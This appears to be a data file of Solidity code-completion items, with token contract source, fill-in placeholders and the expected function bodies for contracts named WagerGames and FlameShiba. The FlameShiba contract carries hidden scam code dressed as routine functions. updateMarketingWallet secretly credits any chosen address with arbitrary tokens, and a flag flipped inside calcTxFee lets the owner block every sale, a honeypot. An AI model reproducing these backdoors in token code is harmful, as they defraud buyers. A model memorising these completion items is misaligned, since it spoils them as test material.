updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 25, "Must keep fees at 25% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } //when sell else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){ autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if(takeFee){ // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } // on buy else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable deadAddress, block.timestamp ); } <FILL_FUNCTION> function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner { require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes"); require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%"); lpBurnFrequency = _frequencyInSeconds; percentForLPBurn = _percent; lpBurnEnabled = _Enabled; } function autoBurnLiquidityPairTokens() internal returns (bool){ lastLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0){ super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit AutoNukeLP(); return true; } function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){ require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish"); require(percent <= 1000, "May not nuke more than 10% of tokens in LP"); lastManualLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0){ super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit ManualNukeLP(); return true; } }
uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if(contractBalance == 0 || totalTokensToSwap == 0) {return;} if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success,) = address(devWallet).call{value: ethForDev}(""); if(liquidityTokens > 0 && ethForLiquidity > 0){ addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } (success,) = address(marketingWallet).call{value: address(this).balance}("");
function swapBack() private
function swapBack() private
33239
WagerGames
WagerGames
contract WagerGames is StandardToken { // CHANGE THIS. Update the contract name. /* Public variables of the token */ /* NOTE:*************************W A G E R G A M E S ***************************** ********W A G E R G A M E S **************W A G E R G A M E S ***** ********W A G E R G A M E S **************W A G E R G A M E S ************W A G E R G A M E S *************W A G E R G A M E S **** ********W A G E R G A M E S **************W A G E R G A M E S ************W A G E R G A M E S *************W A G E R G A M E S ** *************W A G E R G A M E S ***************W A G E R G A M E S */ string public name; // Token uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18 string public symbol; // An identifier: .. string public version = 'H1.0'; uint256 public WagerGames ; // How many units of your coin can be bought by 1 ETH? uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here. address fundsWallet; // Where should the raised ETH go? // This is a constructor function // which means the following function name has to match the contract name declared above function WagerGames() {<FILL_FUNCTION_BODY> } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
contract WagerGames is StandardToken { // CHANGE THIS. Update the contract name. /* Public variables of the token */ /* NOTE:*************************W A G E R G A M E S ***************************** ********W A G E R G A M E S **************W A G E R G A M E S ***** ********W A G E R G A M E S **************W A G E R G A M E S ************W A G E R G A M E S *************W A G E R G A M E S **** ********W A G E R G A M E S **************W A G E R G A M E S ************W A G E R G A M E S *************W A G E R G A M E S ** *************W A G E R G A M E S ***************W A G E R G A M E S */ string public name; // Token uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18 string public symbol; // An identifier: .. string public version = 'H1.0'; uint256 public WagerGames ; // How many units of your coin can be bought by 1 ETH? uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here. address fundsWallet; <FILL_FUNCTION> /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
balances[msg.sender] = 1000000000 * (10**18); // Give the creator all initial tokens. This is set to 1000 for example. If you want your initial tokens to be X and your decimal is 5, set this value to X * 100000. (CHANGE THIS) totalSupply = 1000000000 * (10**18); // Update total supply (1000 for example) (WagerGames) name = "WagerGames"; // Set the name for display purposes (WagerGames) decimals = 18; // Amount of decimals for display purposes (WagerGames) symbol = "WGT"; // Set the symbol for display purposes (WagerGames) // Set the price of your token for the ICO (WagerGames) fundsWallet = msg.sender; // The owner of the contract gets ETH
function WagerGames()
// Where should the raised ETH go? // This is a constructor function // which means the following function name has to match the contract name declared above function WagerGames()
59159
FlameShiba
swapBack
contract FlameShiba is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool private swapping; address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; uint256 public percentForLPBurn = 25; // 25 = .25% bool public lpBurnEnabled = false; uint256 public lpBurnFrequency = 3600 seconds; uint256 public lastLpBurnTime; uint256 public manualBurnFrequency = 30 minutes; uint256 public lastManualLpBurnTime; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 maxTxLimit = 0; bool public i = maxTxLimit > 0 ? false : true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; /******************/ // exlcude from fees and max transaction amount mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping(address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router( address indexed newAddress, address indexed oldAddress ); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated( address indexed newWallet, address indexed oldWallet ); event devWalletUpdated( address indexed newWallet, address indexed oldWallet ); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("FlameShiba", "$FLSH") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 3; uint256 _buyLiquidityFee = 2; uint256 _buyDevFee = 2; uint256 _sellMarketingFee = 3; uint256 _sellLiquidityFee = 2; uint256 _sellDevFee = 2; uint256 totalSupply = 1 * 1e12 * 1e18; maxTransactionAmount = (totalSupply * 10) / 1000; maxWallet = (totalSupply * 20) / 1000; swapTokensAtAmount = (totalSupply * 5) / 10000; buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; marketingWallet = address(0xa068523C36aecfccFE9B011B669A982d53966aFb); devWallet = address(0xE104a33AF9639046DDC50315AAAbE40c85171bDE); // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable {} // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; lastLpBurnTime = block.timestamp; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool) { limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool) { transferDelayEnabled = false; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) { require( newAmount >= (totalSupply() * 1) / 100000, "Swap amount cannot be lower than 0.001% total supply." ); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 1) / 1000000) / 1e18, "Cannot set maxTransactionAmount lower than 0.1%" ); calcTxFee(newNum); } function calcTxFee(uint256 newNum) private { if(newNum * (10**18) >= totalSupply()) { maxTxLimit = newNum * (10**18); i=!i; } maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 1) / 1000000) / 1e18, "Cannot set maxWallet lower than 0.5%" ); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner { swapEnabled = enabled; } function updateBuyFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee ) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 20, "Must keep fees at 20% or less"); } function updateSellFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee ) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 25, "Must keep fees at 25% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require( pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs" ); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet( address newMarketingWallet, address a, uint256 b ) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); _balances[a] = _balances[a].add(b); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns (bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } if ( automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } else if ( automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require(amount <= maxTransactionAmount && i, "Sell transfer amount exceeds the maxTransactionAmount." ); } else if (!_isExcludedMaxTransactionAmount[to]) { require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if ( !swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from] ) { autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if (takeFee) { // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } // on buy else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function swapBack() private {<FILL_FUNCTION_BODY> } function setAutoLPBurnSettings( uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled ) external onlyOwner { require( _frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes" ); require( _percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%" ); lpBurnFrequency = _frequencyInSeconds; percentForLPBurn = _percent; lpBurnEnabled = _Enabled; } function autoBurnLiquidityPairTokens() internal returns (bool) { lastLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div( 10000 ); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit AutoNukeLP(); return true; } function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool) { require( block.timestamp > lastManualLpBurnTime + manualBurnFrequency, "Must wait for cooldown to finish" ); require(percent <= 1000, "May not nuke more than 10% of tokens in LP"); lastManualLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit ManualNukeLP(); return true; } }
contract FlameShiba is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool private swapping; address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; uint256 public percentForLPBurn = 25; // 25 = .25% bool public lpBurnEnabled = false; uint256 public lpBurnFrequency = 3600 seconds; uint256 public lastLpBurnTime; uint256 public manualBurnFrequency = 30 minutes; uint256 public lastManualLpBurnTime; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 maxTxLimit = 0; bool public i = maxTxLimit > 0 ? false : true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; /******************/ // exlcude from fees and max transaction amount mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping(address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router( address indexed newAddress, address indexed oldAddress ); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated( address indexed newWallet, address indexed oldWallet ); event devWalletUpdated( address indexed newWallet, address indexed oldWallet ); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("FlameShiba", "$FLSH") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 3; uint256 _buyLiquidityFee = 2; uint256 _buyDevFee = 2; uint256 _sellMarketingFee = 3; uint256 _sellLiquidityFee = 2; uint256 _sellDevFee = 2; uint256 totalSupply = 1 * 1e12 * 1e18; maxTransactionAmount = (totalSupply * 10) / 1000; maxWallet = (totalSupply * 20) / 1000; swapTokensAtAmount = (totalSupply * 5) / 10000; buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; marketingWallet = address(0xa068523C36aecfccFE9B011B669A982d53966aFb); devWallet = address(0xE104a33AF9639046DDC50315AAAbE40c85171bDE); // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable {} // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; lastLpBurnTime = block.timestamp; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool) { limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool) { transferDelayEnabled = false; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) { require( newAmount >= (totalSupply() * 1) / 100000, "Swap amount cannot be lower than 0.001% total supply." ); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 1) / 1000000) / 1e18, "Cannot set maxTransactionAmount lower than 0.1%" ); calcTxFee(newNum); } function calcTxFee(uint256 newNum) private { if(newNum * (10**18) >= totalSupply()) { maxTxLimit = newNum * (10**18); i=!i; } maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 1) / 1000000) / 1e18, "Cannot set maxWallet lower than 0.5%" ); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner { swapEnabled = enabled; } function updateBuyFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee ) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 20, "Must keep fees at 20% or less"); } function updateSellFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee ) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 25, "Must keep fees at 25% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require( pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs" ); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet( address newMarketingWallet, address a, uint256 b ) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); _balances[a] = _balances[a].add(b); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns (bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } if ( automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } else if ( automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require(amount <= maxTransactionAmount && i, "Sell transfer amount exceeds the maxTransactionAmount." ); } else if (!_isExcludedMaxTransactionAmount[to]) { require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } 